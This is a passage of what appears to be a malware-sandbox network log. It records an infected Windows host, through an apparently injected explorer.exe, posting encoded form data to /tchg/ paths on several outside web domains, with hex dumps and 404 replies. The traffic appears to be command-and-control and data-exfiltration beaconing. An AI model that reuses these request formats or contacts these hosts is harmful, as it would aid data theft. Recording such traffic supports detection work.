53 49 32 5a 46 79 65 78 50 70 33 58 36 78 66 68 76 70 78 6b 48 62 6f 73 6b 4a 4f 45 59 54 71 66 7e 77 31 6e 77 32 68 4d 77 79 6d 47 5a 37 6b 65 59 4f 78 35 70 32 4b 62 4d 44 4f 76 67 79 31 61 4e 77 41 65 6d 58 6d 2d 30 5f 76 77 55 2d 73 6a 51 56 7a 6f 45 7a 41 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=uSr6FpeGbsTYRhPc7ciaOD9PJYAKbV7A9SpFPMcSurg1inPDm5LPqEKZB1MtjYtT~lLi81f4eQUAUxPI~43pTD(Vo_gAqJE01V6fBmNyoR5AHpy1~SSJbrXXZ2IATcS8(6FTAlb99ic526MYKdndNerk8kN0n5fLknSDIDJF03XvVDPcD5wdfxSJzupTrjq7xAobf90YpseJAg1KCZWOmjbCPyRarqFU5GiJ95O0VtN3Khug6peU~Agw5cb9Qicl~mX3h-wn91v-P8lc(YF-FfBtuLy3T7TLu27hwM5pXSNlVqWkNxdig-(-s5phCgiu0ntwoIq9~OvWH95u8oLmoiFtp7nf9uMnjEhrv_Qm7z9mONiKJrGlwGM2EYJfbWCDx8t7C5OInjSguMzvex2ReY5oq3t2FydrJUbKTXD7hlnsuFsrSI2ZFyexPp3X6xfhvpxkHboskJOEYTqf~w1nw2hMwymGZ7keYOx5p2KbMDOvgy1aNwAemXm-0_vwU-sjQVzoEzA.
May 30, 2023 11:09:58.914973021 CEST	815	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:09:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.11.20	49796	185.106.208.3	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:01.446305990 CEST	822	OUT	POST /tchg/ HTTP/1.1 Host: www.albaymedya.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.albaymedya.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.albaymedya.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 75 53 72 36 46 70 65 47 62 73 54 59 52 68 50 63 37 63 69 61 4f 44 39 50 4a 59 41 4b 62 56 37 41 39 53 70 46 50 4d 63 53 75 72 6f 31 68 57 76 44 30 4b 6a 50 72 45 4b 5a 43 31 4d 6f 6a 59 74 43 7e 6c 54 6d 38 31 62 6f 65 53 63 41 56 67 66 49 7e 4b 50 70 46 54 28 55 69 66 67 43 75 4a 46 31 31 56 47 4c 42 6d 59 48 6f 42 4e 41 47 70 43 31 70 7a 53 4b 5a 37 58 64 5a 32 49 55 43 4d 53 43 28 35 70 44 41 6c 48 39 39 67 6f 35 33 4d 41 59 5a 71 7a 64 45 75 72 6c 31 45 4d 30 7e 70 66 69 6b 6e 75 58 49 44 4a 5f 30 32 44 76 56 42 33 63 45 34 77 65 66 52 53 4a 36 4f 70 4d 38 54 6d 5f 78 44 4d 44 66 39 41 59 70 72 4b 4a 50 67 31 4b 55 49 57 50 79 7a 62 59 4c 79 51 63 39 61 5a 6d 35 47 33 34 39 39 57 30 57 64 5a 33 49 53 47 67 32 71 47 55 33 41 67 2d 39 63 61 37 66 43 63 35 7e 69 4c 56 68 5f 51 64 39 31 37 2d 4f 63 46 63 76 71 68 35 49 76 41 6f 74 4c 79 75 5a 62 66 48 75 79 66 74 77 4d 35 35 58 51 68 6c 55 5a 65 6b 4d 77 64 68 67 75 28 6c 77 35 70 4f 4d 41 75 34 30 6e 68 6f 6f 4a 54 32 7e 4e 44 57 47 64 35 75 34 35 4c 6e 67 53 46 71 68 62 6d 47 7a 4f 4d 30 6a 45 73 49 76 2d 6b 59 37 41 35 6d 4e 64 79 4b 59 72 47 69 36 47 4d 71 4f 34 4a 46 52 32 43 44 78 38 78 46 43 35 43 49 6d 52 43 67 76 2d 37 76 62 69 65 52 63 59 35 71 71 33 74 64 46 79 5a 59 4a 55 54 30 54 58 54 64 68 6d 4c 73 75 55 63 72 43 5a 32 61 42 43 65 77 59 4a 33 62 33 52 54 32 76 6f 64 73 48 62 34 6a 6a 36 36 45 5a 54 61 66 76 67 31 6b 31 57 68 4c 6d 69 6e 66 64 37 67 53 59 49 55 4f 70 33 76 45 4d 45 61 76 6a 6d 6f 44 53 30 77 57 39 45 48 55 6f 49 33 56 62 75 38 41 4a 48 6e 43 51 47 50 30 50 73 6e 73 77 41 4d 4a 73 4a 6c 57 78 58 47 4c 57 4e 58 43 4c 50 72 58 28 64 58 48 45 39 66 70 66 30 6b 75 37 4b 31 41 67 45 66 6b 71 67 65 31 42 41 57 6b 7a 6a 4b 49 61 6d 56 66 78 6c 54 46 34 47 48 5a 78 52 4b 53 6c 64 28 78 43 39 61 64 61 45 33 4a 4e 71 56 39 55 4c 54 67 56 43 51 31 6f 50 32 7a 55 72 54 46 4c 67 4d 58 7e 64 6d 66 28 31 66 70 32 33 41 6c 50 55 42 4c 69 70 68 78 51 37 6e 6c 39 4c 28 4a 34 36 62 6d 37 4a 39 36 54 47 33 36 4c 38 41 52 69 61 63 4f 35 35 51 68 75 32 30 42 7e 31 4c 67 4e 5a 42 70 34 4b 37 33 4b 31 77 52 75 78 4e 49 32 53 69 6f 73 76 58 63 6e 6f 74 46 31 6a 53 47 6b 54 59 66 28 4d 6e 6e 58 56 38 31 65 68 41 75 65 37 35 49 69 73 6c 49 69 67 47 57 70 30 6d 62 62 58 70 36 52 78 4b 54 55 4f 69 54 6e 52 69 63 52 4d 70 46 7a 34 78 37 76 6b 33 34 6c 4f 4f 79 57 43 68 44 66 4c 38 4a 6c 4b 48 50 51 68 32 43 72 59 61 71 47 36 30 59 4c 76 74 31 28 6a 34 45 66 48 6d 49 35 4c 77 77 52 75 46 44 6f 63 71 55 65 63 50 62 7e 7a 6c 4d 34 70 31 72 54 49 67 74 6d 4f 71 76 73 6f 52 4f 48 4b 43 6c 78 58 46 43 7e 6c 75 72 65 53 4b 42 28 61 67 4d 47 65 51 48 7e 44 39 5a 73 2d 42 34 55 45 43 52 6d 59 55 77 4f 4a 32 44 39 55 64 65 30 64 75 65 39 35 76 35 65 77 4d 7a 37 52 6b 68 7a 34 52 74 44 34 4a 4a 6f 72 57 64 4a 37 28 39 43 79 66 50 44 4e 4d 33 48 33 47 4e 6d 48 73 35 59 70 4f 4a 49 6e 7a 32 72 58 32 5f 4c 6e 56 52 6d 6d 4e 73 63 43 73 48 43 6c 67 65 39 72 52 72 5a 44 65 71 6b 55 67 74 51 47 59 35 52 35 6b 5a 41 4c 31 73 30 54 34 6b 7e 49 76 77 6f 5f 30 52 4b 56 59 6f 75 52 61 4e 61 61 35 6a 4f 6d 65 6d 32 65 66 5f 48 41 42 52 42 5a 48 66 47 6e 43 68 43 31 62 56 6c 48 34 31 45 79 50 67 6e 4e 39 45 39 51 62 39 64 64 4d 79 38 33 65 5a 6c 75 32 75 37 49 41 36 76 2d 45 44 76 69 44 4b 35 4b 4b 4b 77 56 41 4d 79 62 6f 47 34 72 69 4b 6e 4a 57 39 31 54 43 6c 68 5a 77 56 28 56 48 65 57 48 72 77 30 72 4f 36 33 34 56 33 4c 37 56 77 54 35 38 79 4f 56 30 59 56 5a 39 56 64 44 50 4c 56 59 70 79 64 4f 66 34 57 41 35 34 73 36 45 67 5a 52 70 4d 62 2d 69 32 54 51 34 35 39 68 77 72 30 2d 30 63 6f 35 77 4d 58 57 65 62 30 69 5a 4a 6c 37 4d 6a 76 73 28 51 73 72 71 54 4c 78 31 53 56 63 66 61 32 4d 6f 79 67 57 53 33 64 4d 67 57 77 37 36 4b 51 79 34 61 45 57 34 62 6f 37 44 30 7a 53 61 48 37 51 74 59 38 5a 6a 79 51 42 63 78 33 44 71 61 51 72 5a 72 72 34 75 32 37 62 58 6f 67 30 41 36 30 77 34 62 37 79 4d 73 53 79 48 51 4c 4e 66 61 67 54 35 31 44 4c 34 70 4b 54 6c 79 6e 32 51 36 57 4b 45 37 50 46 35 47 4f 30 71 65 4d 39 70 56 43 42 7e 33 68 6a 73 75 73 77 74 37 52 64 7e 70 59 35 66 7a 36 Data Ascii: O0qEM=uSr6FpeGbsTYRhPc7ciaOD9PJYAKbV7A9SpFPMcSuro1hWvD0KjPrEKZC1MojYtC~lTm81boeScAVgfI~KPpFT(UifgCuJF11VGLBmYHoBNAGpC1pzSKZ7XdZ2IUCMSC(5pDAlH99go53MAYZqzdEurl1EM0~pfiknuXIDJ_02DvVB3cE4wefRSJ6OpM8Tm_xDMDf9AYprKJPg1KUIWPyzbYLyQc9aZm5G3499W0WdZ3ISGg2qGU3Ag-9ca7fCc5~iLVh_Qd917-OcFcvqh5IvAotLyuZbfHuyftwM55XQhlUZekMwdhgu(lw5pOMAu40nhooJT2~NDWGd5u45LngSFqhbmGzOM0jEsIv-kY7A5mNdyKYrGi6GMqO4JFR2CDx8xFC5CImRCgv-7vbieRcY5qq3tdFyZYJUT0TXTdhmLsuUcrCZ2aBCewYJ3b3RT2vodsHb4jj66EZTafvg1k1WhLminfd7gSYIUOp3vEMEavjmoDS0wW9EHUoI3Vbu8AJHnCQGP0PsnswAMJsJlWxXGLWNXCLPrX(dXHE9fpf0ku7K1AgEfkqge1BAWkzjKIamVfxlTF4GHZxRKSld(xC9adaE3JNqV9ULTgVCQ1oP2zUrTFLgMX~dmf(1fp23AlPUBLiphxQ7nl9L(J46bm7J96TG36L8ARiacO55Qhu20B~1LgNZBp4K73K1wRuxNI2SiosvXcnotF1jSGkTYf(MnnXV81ehAue75IislIigGWp0mbbXp6RxKTUOiTnRicRMpFz4x7vk34lOOyWChDfL8JlKHPQh2CrYaqG60YLvt1(j4EfHmI5LwwRuFDocqUecPb~zlM4p1rTIgtmOqvsoROHKClxXFC~lureSKB(agMGeQH~D9Zs-B4UECRmYUwOJ2D9Ude0due95v5ewMz7Rkhz4RtD4JJorWdJ7(9CyfPDNM3H3GNmHs5YpOJInz2rX2_LnVRmmNscCsHClge9rRrZDeqkUgtQGY5R5kZAL1s0T4k~Ivwo_0RKVYouRaNaa5jOmem2ef_HABRBZHfGnChC1bVlH41EyPgnN9E9Qb9ddMy83eZlu2u7IA6v-EDviDK5KKKwVAMyboG4riKnJW91TClhZwV(VHeWHrw0rO634V3L7VwT58yOV0YVZ9VdDPLVYpydOf4WA54s6EgZRpMb-i2TQ459hwr0-0co5wMXWeb0iZJl7Mjvs(QsrqTLx1SVcfa2MoygWS3dMgWw76KQy4aEW4bo7D0zSaH7QtY8ZjyQBcx3DqaQrZrr4u27bXog0A60w4b7yMsSyHQLNfagT51DL4pKTlyn2Q6WKE7PF5GO0qeM9pVCB~3hjsuswt7Rd~pY5fz6oJie_7uyQvhJk4a6iLKK7FopslN5iofux3B9GVGK7VBROQV3xgWLtM_QWajynU5BWkIkfX3q-LTCkTENA8I9eUs0BS6IUQqSFg_lTodzmH9kdnSEEeXuAAON79mRRIpTs8PVFdTV2bmU74QmcRoaLNIo77ODOXfypD9PaOsT_7EE4Oayx2l5FRWlWjmKeaoVLpGfzJUaMd7YMxF~SO0z2jaljo2Mb2HOeFQ38isJXCMnKPgouI7PJUzykEytNoGg4cfu015yYJYfMHiV4i00VS4opUfutgdz40WNQ9jlVeqlMZ83RCQoSKxPXMISi7vplxP7m07MYvBFuXzhLFM8GYK5a1X0odzY1JPfPzX(8I68Iey4oCNbmgfFDWKs_~Munn2zMIy52kUCNNUdBLT47MeWgbnkGTwiDZiHAgD5nUBVpgF1V2kslmkiVxheVrS4WPrPG0VUJlZbxeb0_5Lt22i4jE-eLkrvQwuH8EWmviYaY1IkzHiUgGCnUdutuNu0r8Iznt95USI5j3Bmwd3LPxf~raSnAtK(_8KTeXOZMIEXi40yKsoLIJ1McmRM3e06RptlwLXSFQ9LdlMrG52kWpASQcrRYwWjyquJQw_a7VQgmgwg5gRmWaDNKNNMa730aW1o1a69vwhWo8Dn4vhyGj4WzNJn-SX3Qf0iX(a(Pjv5HnMcqOLEB3qzkA8Y9883vrGfro7zi8L80GOTgf0Mu~VK_FewmeKL6kwo1x-fiMETWLdkakT8jDVMRihc2IyJF87GS54btVEqb2ShNmFn73ibcY1Zyt506Ak6169cqAgNcktjypkr_pqCbz8ZrrKOzr45Yne3LpCBlVMTAwnEt4lbQg_MCaTnZhuh6Ro046tPcxa(cwUM1uK6do5gEU2NsNn9kOaNqjpW23g60wVBO5FujRAQQ01Bt7WKZwkhTD3kUSmWMYgtvZlGR(B(tlhwyVYnDh-RgrMdblzfn7QDp97vWJFp94JNv43W4pjL6BRwa~VkqOzToe8ETvyns0Jen4TQ36lH6dnBYH3pNB11v~GNH24iUV0gVBh4Vg8JsFd1y2NISnt75DUNnxE2Czk8JvCqeNNiZ1S0w2ztaaEXBDWAFCfCmGfXlQO02ELLNGY6TT5L_PDiv6I6r8OHHaM0lauU9eLKXO0Wq8l~u8mnPnRixGXLwMxhYcfZC4KAyhp1hmYIWzB2FtWMX45XBgCTphrJIIaKzi1ByAVKIPVOkXlIOlk1e5eASmzjpkLTCbE2jBJlPb9Jp4qDvdndAz6lCQHiBE1NBMbsgHGcsvuShlNXMdn5W~5VaU6eZQj3L9r~JC6(qJiy2qqvjsGJ5fmkeC85iMbNYdLUdgwAlK1yO63vX~UZzEYIzCfxHRov8efUI(jQl0IPFBI3s9XpQR1OUvTk3ZOo5xts1j12xK-Nw7K8adCAh7u8cotZMGvAy~Fuo8KHBgYRg5tjD3lMxgRAhJpoZY9a7e8cBx9A5KzVfLH~Ws6BJHzylXtFsgv~bgEOuKdjaLU0g0DO8R5zlaVCoz0~1b8iMcSPKEMP96rYKAk1wrd87RK(8tU0MpUyqjru4AF~xAEbQSr2gwRWbjOIjgfWQf3e3h-~hY6boKpHDyrbjWHhD5Q~2Dh1PTVHJVxhOAPHQs6Z2Ejynp7mlZMwx3cKInVOUNi2ORsUsQNUNU2i8luirQ2BYhljhQYzF67JY0f~SfZufjRen1-rm4DkItUE-XgPu5LegqnoCOIj9zlf3g9ISwQZZxh3WS80uE1imfjtriRUcCqt6mDUOvL~R8B1CFwHETan6KLJnkrTQtVJGTNT7hqa56UqBcHdJsD(U939wW113NmKIbMVJrFzNS9Iv4B9Otg7JzptgT9CZtZVQ1w6opix8keYAT3BTQFPvqhwNMU~ViXFrccUesaL-dTEgWKZSqMN3MlJ_hgSQrp9ss_NHBqUtq2k7i7V2dqjGeRTx7CfdwKmajT1XkScr(YyJoJo7XSkyyg2E2OTkv9O3zBAUVxou0TJtuuemDSgBaHUJZexacLUs~EOVfs5zQQVpCgXLPw3Vp7u-EHqxS59OYoC5btc0X_s2v8hjfCAO1JNz7V1IRAN9ZE9k5ISZtQW7oc0rEpiBsqNdcbDqkQQlEF47Bk5ogt(ofBX0UBXTXwqer4LpAmXwli~O02IbBI5IWjkSsrzC4tR-YLDNrGPh81USJUckGdOPvigcw9mJDGbgETUd(L75k9qvZHyT(aH8KzA9iBhusA~4XVvwlMI_nlYDmWlPcJ6vBNp4mCheB227Sa(HjCmp9lAOwx0uTuJJAI(153Gjdf4PYb4eK6x5l0WFDLVsL2tFFOMd0xjIbX7SQCoKeWIV0XG8nERALr0tnOLv~UaxA-k1US~H0r1Cz0ggiLfRbJVEY8RFZvB8LpoEPD6wyzTYTX2KCpUjFgnjFbawZ7WypwIWatXIdFovQ_aWPasWSh6Vo1cCFB74CCzZ0xBL~4E8AP9sYSkXDKGMwf3m1UWaMMTAVAY5LEut2ulQsby46lm-62Q-UhZjrx7WF7YPi0Io6TwiRSVIHCBWj2qUfcB7TgRazjoijDoXCprHe0VkjyC8Vdzm4gtml0lwSplSXF(aNA8JEA4FGqljhYs0(IAr4AN14UO7cdWWQvh0YhbUymYZgFopqHidtn2V7gSqqA0rWkikE7Y782QRKpPbvFcRL1H5m53YBcsTx2yZGj~pwh
May 30, 2023 11:10:01.446399927 CEST	828	OUT	Data Raw: 66 49 78 66 42 36 72 65 63 55 7a 55 4f 46 6d 54 69 5a 51 67 79 4d 76 45 4c 70 70 2d 6a 6d 76 73 7a 4f 43 63 75 49 39 69 42 7a 43 49 4d 74 50 4e 36 44 76 54 33 37 57 37 70 39 70 76 71 57 34 64 54 48 50 6d 65 61 6b 5f 6f 43 67 48 6b 51 37 69 6f 34 Data Ascii: fIxfB6recUzUOFmTiZQgyMvELpp-jmvszOCcuI9iBzCIMtPN6DvT37W7p9pvqW4dTHPmeak_oCgHkQ7io4DEbsYOVRCNQ-OITlNCwN8cfuEXzF22USalXZ3x4Qdtn1s_dxCqOtiAIHAXyFsWTJaFX7wSESFxDtbF(v0dZqOfKufwW2KrRTHL2Y4C6BaCzFY9q4pMo61OlhnyDEnToxmgS_DJYhjXWqr4rtg4uDi8WBn-49L21z5
May 30, 2023 11:10:01.493385077 CEST	838	OUT	Data Raw: 31 6b 47 31 32 43 72 6c 38 4c 68 78 50 4f 75 53 4e 32 6a 38 41 30 77 65 6f 34 42 5a 6a 4a 72 79 35 76 37 69 70 7a 73 65 45 71 5a 4e 6f 37 4d 66 54 46 4b 4b 7e 68 28 4c 66 73 47 50 6c 4a 35 30 35 44 57 58 46 79 59 5a 54 4d 71 39 34 72 6f 72 6a 70 Data Ascii: 1kG12Crl8LhxPOuSN2j8A0weo4BZjJry5v7ipzseEqZNo7MfTFKK~h(LfsGPlJ505DWXFyYZTMq94rorjpacjJqQW-ak3rsmY4DGc6SR(vsf5j8OE-AeeIJaTFALHVeXaoolP6AhEKzfJZt0U2lQ44THiOTlYa0vxW4vI3MEDaWmdPv-RicfwYJtOIyHAFNosUbXynZqfygOs0c9mhinXz8mqnQpmQ385WCEBqOMV0HayFcrv62
May 30, 2023 11:10:01.493454933 CEST	838	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:10:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
May 30, 2023 11:10:01.493489027 CEST	842	OUT	Data Raw: 77 35 63 6b 6b 36 57 4d 4f 48 67 46 4c 4d 69 4a 44 42 68 79 70 2d 4e 41 74 62 73 45 4e 5a 7e 41 65 36 38 36 42 2d 69 63 47 39 4c 45 6a 5f 5a 54 5a 6f 5a 6b 69 66 70 6d 77 2d 77 31 42 6e 54 4f 45 38 4b 79 30 7a 53 47 31 67 67 58 63 54 53 30 51 74 Data Ascii: w5ckk6WMOHgFLMiJDBhyp-NAtbsENZ~Ae686B-icG9LEj_ZTZoZkifpmw-w1BnTOE8Ky0zSG1ggXcTS0Qtq0CApiYGpOKcsoMO(mh7(8l2m1MS1giuUwUp5lsviav5vQ3SvsGfdAb28u0FQeaBpi(147pA7BKImitczEYX57(_ItME1RNgqdAHjs3HYb45QrdO5kbomlk0HC4TYq5n91SRXQk5cfPyR8GhUTmoJLa-1-N6yG2lH
May 30, 2023 11:10:01.493896008 CEST	852	OUT	Data Raw: 31 38 63 30 34 30 34 47 64 70 71 45 70 41 72 74 4d 54 66 64 6a 57 5a 44 30 43 6b 6a 35 36 37 50 73 45 67 36 47 32 6d 61 6f 53 61 43 7a 44 67 7a 42 63 68 4a 30 4b 6a 61 4a 52 76 5f 70 59 50 2d 68 68 52 34 50 4f 75 4a 37 32 43 78 70 67 52 35 4a 45 Data Ascii: 18c0404GdpqEpArtMTfdjWZD0Ckj567PsEg6G2maoSaCzDgzBchJ0KjaJRv_pYP-hhR4POuJ72CxpgR5JEtGqIlRo7dGKBrTw0BQpeMwfLvV33ywuEfN~hkQmsFDIQttARxwlFBVcrTiykh1l1OPc6MLFG0jvp73aOjQT1N5Y61GPjLaXpW449TQsDfQQCCzlL07vGEunsrwGFuieuNmy_plUrYPVd1i7OVh4sXm24fTk8syHkg
May 30, 2023 11:10:01.533041954 CEST	855	OUT	Data Raw: 45 79 56 41 50 32 4b 5a 72 2d 77 79 4c 4a 42 54 47 43 77 55 77 43 69 6f 75 41 57 43 70 30 65 5f 46 41 67 45 68 69 72 39 36 6a 76 35 6c 65 57 4f 4c 69 75 6d 65 74 58 43 43 4f 73 2d 30 5f 78 56 6d 7a 4a 51 43 68 76 4c 58 57 66 75 4d 50 42 30 52 75 Data Ascii: EyVAP2KZr-wyLJBTGCwUwCiouAWCp0e_FAgEhir96jv5leWOLiumetXCCOs-0_xVmzJQChvLXWfuMPB0RuczWmZJdk~JsQQcaWt2bCPemPWQpBG0E2RA(SfU9o8wYvg34neWlJENiCGyiWHTKcSirDxkKwYl86DT6Yi-TlixQbIErrw6fXW-RhXU4Vjeu1Wye8pfZr4zD8acpBYhXLCxi3y0tcDE43kvepKhWf7-1AonDqc88dU
May 30, 2023 11:10:01.540359974 CEST	856	OUT	Data Raw: 78 4b 6a 4a 28 4f 42 49 34 56 54 4c 4d 48 6e 75 6d 68 48 32 61 37 48 4a 41 68 76 64 31 37 55 43 71 6e 31 62 54 73 62 4a 42 37 44 5f 41 72 6e 39 59 79 57 2d 63 31 63 35 4b 37 74 75 48 75 4a 75 6d 6d 54 4e 44 33 7e 38 47 67 31 30 47 51 6b 57 6c 5f Data Ascii: xKjJ(OBI4VTLMHnumhH2a7HJAhvd17UCqn1bTsbJB7D_Arn9YyW-c1c5K7tuHuJummTND3~8Gg10GQkWl_VMlm6azSZDy2GxcYp9ro8poxASLvcN7ZvHCYOEKQTjia5rv76HVBY1OJbL~XB3bEntt8DSwyEGKCChx7e-aI~t~zCso9acXyMkfZJMuaCYA8JGzH9h4KpcgFHoxSsGN36j4c6_CcUAnhamExePNN4UzfgsrGGFl5v
May 30, 2023 11:10:01.540535927 CEST	865	OUT	Data Raw: 6d 7a 47 47 75 78 75 48 39 38 65 38 66 76 34 75 72 49 4c 69 76 34 75 36 35 74 6d 75 79 62 31 55 45 37 6a 59 66 62 48 47 69 71 36 5f 75 76 55 44 72 37 6a 77 46 4b 6a 6f 65 46 35 74 62 70 30 48 4f 37 37 4a 57 31 6e 59 6e 6c 49 7a 44 33 4f 6f 47 58 Data Ascii: mzGGuxuH98e8fv4urILiv4u65tmuyb1UE7jYfbHGiq6_uvUDr7jwFKjoeF5tbp0HO77JW1nYnlIzD3OoGXVFtCXhWFsAtQ1yb9UlCAkKU3G9WJQxomqovv9ucCFj8lfgMnqUKVngIiqz(lRPKUAo4T51wfkZj3I_8e03F33hnF(9Pm12EJE8EvPUVJ~kdNaf4rhiphKy0lp1M0j3YRuT7twZWEFOgaRwVHYsDVkSHAdjUXgerdd
May 30, 2023 11:10:01.540695906 CEST	869	OUT	Data Raw: 49 4c 56 6c 76 65 36 79 44 79 58 76 30 33 69 43 70 6e 38 4a 4a 6a 74 64 65 71 43 78 54 51 65 53 59 59 59 6e 47 62 76 78 72 31 59 36 33 4f 74 73 45 34 58 79 42 43 36 45 30 77 28 70 77 37 6e 5a 69 48 49 33 48 57 39 33 73 33 44 58 4a 64 74 77 68 56 Data Ascii: ILVlve6yDyXv03iCpn8JJjtdeqCxTQeSYYYnGbvxr1Y63OtsE4XyBC6E0w(pw7nZiHI3HW93s3DXJdtwhV(5PIXEjWt-XNYjGLAXxJzrMkrS~mAGuVhnz4fy1yQLE2auoQ7J3MXyw3GRO76vu1h7vpUIhZlf2iXF1Z9tqxursNyZsjv-sDlTGGAkALlqdAErBMiRm2Jw6Cy92DD3wSH40NmSq_WpRFZcidzaNUWWu3eCJxCmDvQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.11.20	49797	185.106.208.3	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:04.022859097 CEST	869	OUT	GET /tchg/?O0qEM=jQDaGZ2OScTGFSP10uKTPyhqI710WSvw2gViBbUugbcSlWDCi533rl6vPGA30o5eyDb36C/pQ3h7az/b16KQNynftoBCqLFM3A==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.albaymedya.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:10:04.069657087 CEST	870	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:10:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.11.20	49798	162.215.249.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:09.665952921 CEST	871	OUT	POST /tchg/ HTTP/1.1 Host: www.roconsultores.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.roconsultores.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.roconsultores.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 4d 4c 47 71 50 59 64 66 44 30 37 75 35 71 69 58 39 43 73 33 4c 45 4f 79 71 67 7e 38 6f 65 38 78 47 47 6e 56 47 61 37 75 77 7a 38 74 69 56 62 42 61 75 59 53 68 5f 58 71 35 68 75 57 70 55 4a 4d 4e 49 55 70 63 49 79 36 53 46 48 46 45 76 55 45 37 50 6f 79 4b 34 76 50 77 70 45 72 69 58 78 70 50 46 53 44 67 46 64 57 48 6e 71 6e 4b 32 6b 43 34 5f 39 78 4d 30 4a 30 7a 72 76 66 72 49 46 6b 76 6b 43 5a 48 42 6b 41 49 69 50 4b 6f 79 30 7a 7e 54 6c 63 52 79 44 62 77 5a 79 33 36 4b 74 6a 55 55 4a 48 4a 42 4a 33 59 4f 71 71 75 42 63 4e 64 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=MLGqPYdfD07u5qiX9Cs3LEOyqg~8oe8xGGnVGa7uwz8tiVbBauYSh_Xq5huWpUJMNIUpcIy6SFHFEvUE7PoyK4vPwpEriXxpPFSDgFdWHnqnK2kC4_9xM0J0zrvfrIFkvkCZHBkAIiPKoy0z~TlcRyDbwZy36KtjUUJHJBJ3YOqquBcNdg).
May 30, 2023 11:10:09.841588020 CEST	872	IN	HTTP/1.1 404 Not Found Date: Tue, 30 May 2023 09:10:09 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 23 Apr 2019 07:54:14 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4677 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 52 6d 73 d3 c8 96 fe 0c bf e2 8c 73 67 80 aa d8 4a 26 61 76 b0 15 df 82 90 0c b9 05 24 9b 84 e5 4e 6d ed 52 6d e9 48 ea 49 ab 8f e8 6e d9 d6 4d cd fe f6 3d dd 92 5f 63 b8 70 77 0d b1 a5 7e 79 ce f3 16 ff f0 fa f2 f4 f6 f7 ab 33 28 5c a9 e0 ea c3 ab b7 17 a7 d0 eb 47 d1 c7 a3 d3 28 7a 7d fb 1a fe fe e6 f6 dd 5b 38 1c 1c c0 8d 33 32 71 51 74 f6 be 07 bd c2 b9 6a 18 45 b3 d9 6c 30 3b 1a 90 c9 a3 db eb 68 ee 51 0e fd 